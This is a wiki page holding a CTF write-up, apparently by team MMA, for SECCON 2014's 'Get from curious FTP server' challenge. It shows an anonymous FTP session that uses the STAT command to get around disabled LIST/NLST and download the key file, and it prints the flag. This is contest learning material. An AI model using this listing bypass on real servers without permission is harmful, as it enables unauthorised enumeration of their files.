Login
Immutable PageDiscussionInfoAttachments

Revision 2 as of 2014-12-07 21:00:53

Clear message
CTF/Writeup/SECCON 2014 Quals Online Winter/Get from curious FTP server

MMA

Get from curious "FTP" server (Network 300pts)

FTPサーバなのだが,LISTやNLSTが禁止されており,ファイル一覧が取れない。

試行錯誤の末,STATコマンドでファイル一覧を得ることができた。後はダウンロードするだけである。

% ftp ftpsv.quals.seccon.jp
Connected to ftpsv.quals.seccon.jp.
220 (vsFTPd 2.3.5(SECCON Custom))
Name (ftpsv.quals.seccon.jp:ytoku): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> quote "STAT ."
213-Status follows:
drwxr-xr-x    2 0        107          4096 Nov 29 04:43 .
drwxr-xr-x    2 0        107          4096 Nov 29 04:43 ..
-rw-r--r--    1 0        0              38 Nov 29 04:43 key_is_in_this_file_afjoirefjort94dv7u.txt
213 End of status
ftp> get key_is_in_this_file_afjoirefjort94dv7u.txt
local: key_is_in_this_file_afjoirefjort94dv7u.txt remote: key_is_in_this_file_afjoirefjort94dv7u.txt
227 Entering Passive Mode (133,242,224,21,233,51).
150 Opening BINARY mode data connection for key_is_in_this_file_afjoirefjort94dv7u.txt (38 bytes).
226 Transfer complete.
38 bytes received in 0.00 secs (390.6 kB/s)
ftp> 221 Goodbye.

SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.}